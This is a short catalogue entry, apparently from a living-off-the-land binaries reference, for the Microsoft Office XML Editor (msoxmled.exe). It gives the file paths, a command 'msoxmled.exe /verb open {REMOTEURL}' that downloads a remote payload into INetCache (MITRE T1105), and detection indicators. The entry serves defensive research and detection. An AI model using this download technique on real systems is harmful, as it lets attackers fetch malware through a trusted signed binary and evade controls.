msoxmled.exe

type: OSBinaries
Microsoft Office XML Editor, used to handle XML documents in Microsoft Office.

Full path

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\msoxmled.exe
C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE14\msoxmled.exe

Commands

  1. DownloadUser T1105

    It will download a remote payload and place it in INetCache.

    msoxmled.exe /verb open {REMOTEURL}

    Downloads payload from remote server using the Microsoft Office XML Editor.

    os: Windows 10, Windows 11

    Download: INetCache

Detection

  • IOC`msoxmled.exe` making network connections to external URLs
  • IOCUnexpected file downloads initiated by `msoxmled.exe`
  • IOCEvent ID 1 with Image: `msoxmled.exe` and CommandLine: `/verb open`

Resources

acknowledgement: Bogac Kaya @bogackayaa, Furkan Celik @frknclk034